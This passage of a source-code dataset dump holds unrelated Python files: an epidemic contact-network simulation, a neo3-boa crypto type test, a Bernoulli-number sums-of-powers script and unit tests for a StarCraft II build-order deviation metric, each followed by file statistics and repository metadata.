comm_data = np.asarray(np2.asarray(matrix_community[2]))
# turn off school and work layers
preschl_data_set = 0*preschl_data
primary_data_set = 0*primary_data
highschl_data_set = 0*highschl_data
work_data_set = 0*work_data
# turn on portions of households and community
comm_occupation = 1 - hh_occupation
length = int(hh_data.shape[0]/2)
hh_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(hh_occupation),
shape=(length,)), 2)
hh_data_set = hh_data_select.reshape(hh_data_select.shape[0],1)*hh_data
length = int(comm_data.shape[0]/2)
comm_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(comm_occupation),
shape=(length,)), 2)
comm_data_set = comm_data_select.reshape(comm_data_select.shape[0],1)*comm_data
# create conections
args_ps = (hh_data_set,preschl_data_set,primary_data_set,highschl_data_set,work_data_set,comm_data_set)
ps = np.concatenate(args_ps); ps = ps.reshape(ps.shape[0],)
args_rows = (hh_row,preschl_row,primary_row,highschl_row,work_row,comm_row)
rows = np.concatenate(args_rows)
args_cols = (hh_col,preschl_col,primary_col,highschl_col,work_col,comm_col)
cols = np.concatenate(args_cols)
w = [rows.astype(np.int32),cols.astype(np.int32),ps]
return w
def day_set(Graphs_matrix, hh_occupation=0.3, comm_occupation=0.2):
# load networks
matrix_household = Graphs_matrix[0]
hh_row = np.asarray(np2.asarray(matrix_household[0]))
hh_col = np.asarray(np2.asarray(matrix_household[1]))
hh_data = np.asarray(np2.asarray(matrix_household[2]))
matrix_preschool = Graphs_matrix[1]
preschl_row = np.asarray(np2.asarray(matrix_preschool[0]))
preschl_col = np.asarray(np2.asarray(matrix_preschool[1]))
preschl_data = np.asarray(np2.asarray(matrix_preschool[2]))
matrix_primary = Graphs_matrix[2]
primary_row = np.asarray(np2.asarray(matrix_primary[0]))
primary_col = np.asarray(np2.asarray(matrix_primary[1]))
primary_data = np.asarray(np2.asarray(matrix_primary[2]))
matrix_highschool = Graphs_matrix[3]
highschl_row = np.asarray(np2.asarray(matrix_highschool[0]))
highschl_col = np.asarray(np2.asarray(matrix_highschool[1]))
highschl_data = np.asarray(np2.asarray(matrix_highschool[2]))
matrix_work = Graphs_matrix[4]
work_row = np.asarray(np2.asarray(matrix_work[0]))
work_col = np.asarray(np2.asarray(matrix_work[1]))
work_data = np.asarray(np2.asarray(matrix_work[2]))
matrix_community = Graphs_matrix[5]
comm_row = np.asarray(np2.asarray(matrix_community[0]))
comm_col = np.asarray(np2.asarray(matrix_community[1]))
comm_data = np.asarray(np2.asarray(matrix_community[2]))
# turn off houses and community layers
length = int(hh_data.shape[0]/2)
hh_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(hh_occupation),
shape=(length,)), 2)
hh_data_set = hh_data_select.reshape(hh_data_select.shape[0],1)*hh_data
length = int(comm_data.shape[0]/2)
comm_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(comm_occupation),
shape=(length,)), 2)
comm_data_set = comm_data_select.reshape(comm_data_select.shape[0],1)*comm_data
# create conections
args_ps = (hh_data_set,preschl_data_set,primary_data_set,highschl_data_set,work_data_set,comm_data_set)
ps = np.concatenate(args_ps); ps = ps.reshape(ps.shape[0],)
args_rows = (hh_row,preschl_row,primary_row,highschl_row,work_row,comm_row)
rows = np.concatenate(args_rows)
args_cols = (hh_col,preschl_col,primary_col,highschl_col,work_col,comm_col)
cols = np.concatenate(args_cols)
w = [rows.astype(np.int32),cols.astype(np.int32),ps]
return w
def night_set(Graphs_matrix,hh_occupation=0.7):
# load networks
matrix_household = Graphs_matrix[0]
hh_row = np.asarray(np2.asarray(matrix_household[0]))
hh_col = np.asarray(np2.asarray(matrix_household[1]))
hh_data = np.asarray(np2.asarray(matrix_household[2]))
matrix_preschool = Graphs_matrix[1]
preschl_row = np.asarray(np2.asarray(matrix_preschool[0]))
preschl_col = np.asarray(np2.asarray(matrix_preschool[1]))
preschl_data = np.asarray(np2.asarray(matrix_preschool[2]))
matrix_primary = Graphs_matrix[2]
primary_row = np.asarray(np2.asarray(matrix_primary[0]))
primary_col = np.asarray(np2.asarray(matrix_primary[1]))
primary_data = np.asarray(np2.asarray(matrix_primary[2]))
matrix_highschool = Graphs_matrix[3]
highschl_row = np.asarray(np2.asarray(matrix_highschool[0]))
highschl_col = np.asarray(np2.asarray(matrix_highschool[1]))
highschl_data = np.asarray(np2.asarray(matrix_highschool[2]))
matrix_work = Graphs_matrix[4]
work_row = np.asarray(np2.asarray(matrix_work[0]))
work_col = np.asarray(np2.asarray(matrix_work[1]))
work_data = np.asarray(np2.asarray(matrix_work[2]))
matrix_community = Graphs_matrix[5]
comm_row = np.asarray(np2.asarray(matrix_community[0]))
comm_col = np.asarray(np2.asarray(matrix_community[1]))
comm_data = np.asarray(np2.asarray(matrix_community[2]))
# turn off school and work layers
preschl_data_set = 0*preschl_data
primary_data_set = 0*primary_data
highschl_data_set = 0*highschl_data
work_data_set = 0*work_data
# turn on portions of households and community
comm_occupation = 1 - hh_occupation
length = int(hh_data.shape[0]/2)
hh_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(hh_occupation),
shape=(length,)), 2)
hh_data_set = hh_data_select.reshape(hh_data_select.shape[0],1)*hh_data
length = int(comm_data.shape[0]/2)
comm_data_select = np.repeat( random.bernoulli(random.PRNGKey(0),p=(comm_occupation),
shape=(length,)), 2)
comm_data_set = comm_data_select.reshape(comm_data_select.shape[0],1)*comm_data
# create conections
args_ps = (hh_data_set,preschl_data_set,primary_data_set,highschl_data_set,work_data_set,comm_data_set)
ps = np.concatenate(args_ps); ps = ps.reshape(ps.shape[0],)
args_rows = (hh_row,preschl_row,primary_row,highschl_row,work_row,comm_row)
rows = np.concatenate(args_rows)
args_cols = (hh_col,preschl_col,primary_col,highschl_col,work_col,comm_col)
cols = np.concatenate(args_cols)
w = [rows.astype(np.int32),cols.astype(np.int32),ps]
return w
def create_day_dynamics(Graphs_matrix,Tmax,total_steps,partitions=[8,8,8]):
'''
A day is devided in 3 partitions with consists of sets of hours over a day
partition[0] -> morning: only a % of households and community is activated
partition[1] -> evening: only work and school layers are activated
partition[2] -> night: only a % of households and community is activated
delta_t -> steps over a day
'''
# Hours distribution in a day
if sum(partitions) != 24:
print('Partitions must sum the total of hours in a day (24h)')
steps_per_days = int(total_steps/Tmax)
m_day = int(steps_per_days*(partitions[0]/24))
e_day = int(steps_per_days*(partitions[1]/24))
n_day = int(steps_per_days*(partitions[2]/24))
days_intervals = [m_day, e_day, n_day]
m_w = morning_set(Graphs_matrix)
e_w = day_set(Graphs_matrix)
n_w = night_set(Graphs_matrix)
w_intervals = [m_w,e_w,n_w]
sim_intervals = [] # iterations per network set w
sim_ws = [] # networks per iteration
for d in range(Tmax):
sim_intervals.extend(days_intervals)
sim_ws.extend(w_intervals)
return sim_intervals, sim_ws
| 40.189655 | 107 | 0.706778 | 1,389 | 9,324 | 4.470842 | 0.086393 | 0.078261 | 0.104348 | 0.165217 | 0.876973 | 0.876973 | 0.849919 | 0.849919 | 0.837037 | 0.837037 | 0 | 0.028077 | 0.174925 | 9,324 | 231 | 108 | 40.363636 | 0.77915 | 0.076791 | 0 | 0.83871 | 0 | 0 | 0.006192 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025806 | false | 0 | 0.025806 | 0 | 0.077419 | 0.006452 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f5cbf38935e885314d4ade0366203bbb88864047 | 45 | py | Python | src/terminal/__init__.py | gvb84/term-emu | ef38abb0d45f0368666112642114a24ad2bb15ad | [
"BSD-3-Clause"
] | 5 | 2019-04-17T19:17:59.000Z | 2021-02-17T08:36:28.000Z | src/terminal/__init__.py | gvb84/term-emu | ef38abb0d45f0368666112642114a24ad2bb15ad | [
"BSD-3-Clause"
] | null | null | null | src/terminal/__init__.py | gvb84/term-emu | ef38abb0d45f0368666112642114a24ad2bb15ad | [
"BSD-3-Clause"
] | 6 | 2018-12-16T23:38:52.000Z | 2021-07-02T10:56:17.000Z | from . import emulator
from . import driver
| 11.25 | 22 | 0.755556 | 6 | 45 | 5.666667 | 0.666667 | 0.588235 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.2 | 45 | 3 | 23 | 15 | 0.944444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
eb026698f77e44a7865acf039f987c1671916e6e | 145 | py | Python | boa3_test/test_sc/interop_test/crypto/VerifyWithECDsaSecp256k1MismatchedType.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | null | null | null | boa3_test/test_sc/interop_test/crypto/VerifyWithECDsaSecp256k1MismatchedType.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | null | null | null | boa3_test/test_sc/interop_test/crypto/VerifyWithECDsaSecp256k1MismatchedType.py | hal0x2328/neo3-boa | 6825a3533384cb01660773050719402a9703065b | [
"Apache-2.0"
] | null | null | null | from boa3.builtin.interop.crypto import verify_with_ecdsa_secp256k1
def Main():
verify_with_ecdsa_secp256k1('unit test', 10, b'signature')
| 24.166667 | 67 | 0.793103 | 21 | 145 | 5.190476 | 0.809524 | 0.183486 | 0.275229 | 0.440367 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085271 | 0.110345 | 145 | 5 | 68 | 29 | 0.75969 | 0 | 0 | 0 | 0 | 0 | 0.124138 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
eb18ef72ebf6d5010835a4fd690350f92dd5ee5d | 1,994 | py | Python | prog_praxis/sums_of_powers.py | genos/online_problems | 324597e8b64d74ad96dbece551a8220a1b61e615 | [
"MIT"
] | 1 | 2020-07-17T13:15:21.000Z | 2020-07-17T13:15:21.000Z | prog_praxis/sums_of_powers.py | genos/online_problems | 324597e8b64d74ad96dbece551a8220a1b61e615 | [
"MIT"
] | null | null | null | prog_praxis/sums_of_powers.py | genos/online_problems | 324597e8b64d74ad96dbece551a8220a1b61e615 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import numpy as np
from fractions import Fraction
from operator import mul
def a_t(n):
A = np.zeros(shape=(n + 1, n + 1), dtype=Fraction)
for j in xrange(n + 1):
A[0, j] = Fraction(1, j + 1)
for i in xrange(1, n + 1):
for j in xrange(n - i + 1):
A[i, j] = (j + 1) * (A[i - 1, j] - A[i - 1, j + 1])
return A
def b(n):
return a_t(n)[n, 0]
def c(n, k):
num = reduce(mul, xrange(n - k + 1, n + 1), 1)
denom = reduce(mul, xrange(1, k + 1), 1)
return num / denom
def s_naive(m, n):
return sum(pow(k, m) for k in xrange(1, n + 1))
def s(m, n):
s = sum(c(m + 1, k) * b(k) * pow(n, m + 1 - k) for k in xrange(m + 1))
return s // (m + 1)
if __name__ == "__main__":
print b(18)
print a_t(18)[:, 0]
print s_naive(10, 3)
print s(10, 3)
print s_naive(10, 1000)
print s(10, 1000)
"""
I used this as an opportunity to play with NumPy's (http://numpy.scipy.org/)
n-dimensional arrays. Also uses the fractions module for rational numbers.
[sourcecode lang="python"]
#!/usr/bin/env python
import numpy as np
from fractions import Fraction
from operator import mul
def a_t(n):
A = np.zeros(shape=(n + 1, n + 1), dtype=Fraction)
for j in xrange(n + 1):
A[0, j] = Fraction(1, j + 1)
for i in xrange(1, n + 1):
for j in xrange(n - i + 1):
A[i, j] = (j + 1) * (A[i - 1, j] - A[i - 1, j + 1])
return A
def b(n):
return a_t(n)[n][0]
def c(n, k):
num = reduce(mul, xrange(n - k + 1, n + 1), 1)
denom = reduce(mul, xrange(1, k + 1), 1)
return num / denom
def s_naive(m, n):
return sum(pow(k, m) for k in xrange(1, n + 1))
def s(m, n):
s = sum(c(m + 1, k) * b(k) * pow(n, m + 1 - k) for k in xrange(m + 1))
return s // (m + 1)
if __name__ == "__main__":
print b(18)
print a_t(18)[:, 0]
print s_naive(10, 3)
print s(10, 3)
print s_naive(10, 1000)
print s(10, 1000)
[/sourcecode]
"""
| 21.212766 | 76 | 0.533099 | 390 | 1,994 | 2.653846 | 0.171795 | 0.023188 | 0.023188 | 0.046377 | 0.856039 | 0.856039 | 0.856039 | 0.856039 | 0.856039 | 0.856039 | 0 | 0.069405 | 0.291876 | 1,994 | 93 | 77 | 21.44086 | 0.663598 | 0.01003 | 0 | 0 | 0 | 0 | 0.009122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.103448 | null | null | 0.206897 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
de239d3ef0f0a396fd598e27048d2d6ccf69a273 | 36,389 | py | Python | tests/unit/test_bod.py | matthewj8489/Starcraft2Metrics | 5156434bc22d25cc005c83e22ac4b3423ee40355 | [
"MIT"
] | 4 | 2019-10-06T01:16:36.000Z | 2020-12-23T21:01:55.000Z | tests/unit/test_bod.py | matthewj8489/Starcraft2Metrics | 5156434bc22d25cc005c83e22ac4b3423ee40355 | [
"MIT"
] | 3 | 2019-03-09T17:26:43.000Z | 2020-04-12T18:19:35.000Z | tests/unit/test_bod.py | matthewj8489/Starcraft2Metrics | 5156434bc22d25cc005c83e22ac4b3423ee40355 | [
"MIT"
] | null | null | null | import os
import sys
if __name__ == '__main__':
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir)))
if sys.version_info[:2] < (2, 7):
import unittest2 as unittest
else:
import unittest
import metrics
from metrics.bod import BuildOrderDeviation
from metrics.metric_containers import *
import metrics.unit_constants as uc
class TestBuildOrderDeviation(unittest.TestCase):
#region time_deviation
def test_time_deviation_calculated_correctly_when_late_on_time(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 60, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.time_dev, 10)
def test_time_deviation_calculated_correctly_when_early_on_time(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 40, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.time_dev, 10)
def test_time_deviation_calculated_correctly_when_no_time_deviation(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.time_dev, 0)
def test_time_deviation_calculated_correctly_when_build_order_deviation_occurred(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Pylon', 16, 60, 220))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.time_dev, 40)
def test_time_deviation_calculated_correctly_when_build_is_missing_element(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
#self.assertEqual(bo_dev.time_dev, 30)
self.assertEqual(bo_dev.time_dev, 0)
def test_time_deviation_isnt_affected_when_build_order_deviates_by_more_than_20(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(23, 'Pylon', 14, 25, 90))
compare_bo.append(BuildOrderElement(24, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
#self.assertEqual(bo_dev.time_dev, 30)
self.assertEqual(bo_dev.time_dev, 0)
def test_time_deviation_isnt_affected_when_build_order_deviates_by_more_than_20_beyond_last_build_unit(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(24, 'Pylon', 14, 20, 90))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
#self.assertEqual(bo_dev.time_dev, 30)
self.assertEqual(bo_dev.time_dev, 0)
#endregion
#region dev_array
def test_dev_arr_is_correct_size_when_build_order_is_correct(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(3, len(bo_dev.bode_arr))
#endregion
#region depth_build_num_limitor
def test_build_order_comparison_is_limited_when_setting_build_num_limitor(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 16, 51, 201))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo, depth=2)
self.assertEqual(bo_dev.dev, 0)
self.assertEqual(bo_dev.discrepency, 0)
def test_depth_when_depth_is_greater_than_compare_bo(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo, depth=3)
self.assertEqual(bo_dev.dev, 0)
self.assertEqual(bo_dev.discrepency, 1)
def test_depth_when_depth_is_greater_than_bench_bo(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 16, 51, 201))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo, depth=3)
self.assertEqual(bo_dev.dev, 0)
self.assertEqual(bo_dev.discrepency, 0)
#endregion
#region order_dev
def test_order_deviation_calculated_correctly_when_no_deviation(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev, 0)
def test_order_deviation_calculated_correctly_when_build_order_deviation_occurred(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Pylon', 16, 60, 220))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev, 2)
def test_order_deviation_calculated_correctly_when_build_is_missing_element(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev, 0)
def test_order_deviation_isnt_affected_when_build_order_deviates_by_more_than_20(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(23, 'Pylon', 14, 25, 90))
compare_bo.append(BuildOrderElement(24, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev, 0)
def test_order_deviation_isnt_affected_when_build_order_deviates_by_more_than_20_beyond_last_build_unit(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(24, 'Pylon', 14, 20, 90))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.order_dev, 0)
#endregion
#region tag_order_dev
def test_tag_order_dev_is_not_incremented_when_units_do_not_differ(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.tag_order_dev[uc.BUILDING_TAG], 0)
self.assertEqual(bo_dev.tag_order_dev[uc.SUPPLY_TAG], 0)
def test_tag_order_dev_is_incremented_when_units_with_tags_have_orders_that_differ(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.tag_order_dev[uc.BUILDING_TAG], 2)
self.assertEqual(bo_dev.tag_order_dev[uc.SUPPLY_TAG], 1)
def test_tag_order_dev_is_incremented_when_multiple_elements_with_the_same_tag_have_differing_order(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(3, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(4, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.tag_order_dev[uc.BUILDING_TAG], 2)
#endregion
#region discrepencies
def test_discrepencies_when_not_missing_build_order_units(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.discrepency, 0)
def test_discrepencies_when_missing_build_order_units(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Assimilator', 15, 50, 200))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo, depth=3)
self.assertEqual(bo_dev.discrepency, 1)
def test_discrepencies_are_none_when_additional_build_order_units_are_present_beyond_bench_bo(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
golden_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
compare_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
compare_bo.append(BuildOrderElement(3, 'Assimilator', 15, 50, 200))
compare_bo.append(BuildOrderElement(4, 'Pylon', 16, 51, 201))
bo_dev = BuildOrderDeviation(golden_bo)
bo_dev.calculate_deviations(compare_bo)
self.assertEqual(bo_dev.discrepency, 0)
def test_discrepencies_when_additional_build_order_units_are_present(self):
golden_bo = []
compare_bo = []
golden_bo.append(BuildOrderElement(1, 'Probe', 12, 0, 0))
golden_bo.append(BuildOrderElement(2, 'Pylon', 14, 20, 90))
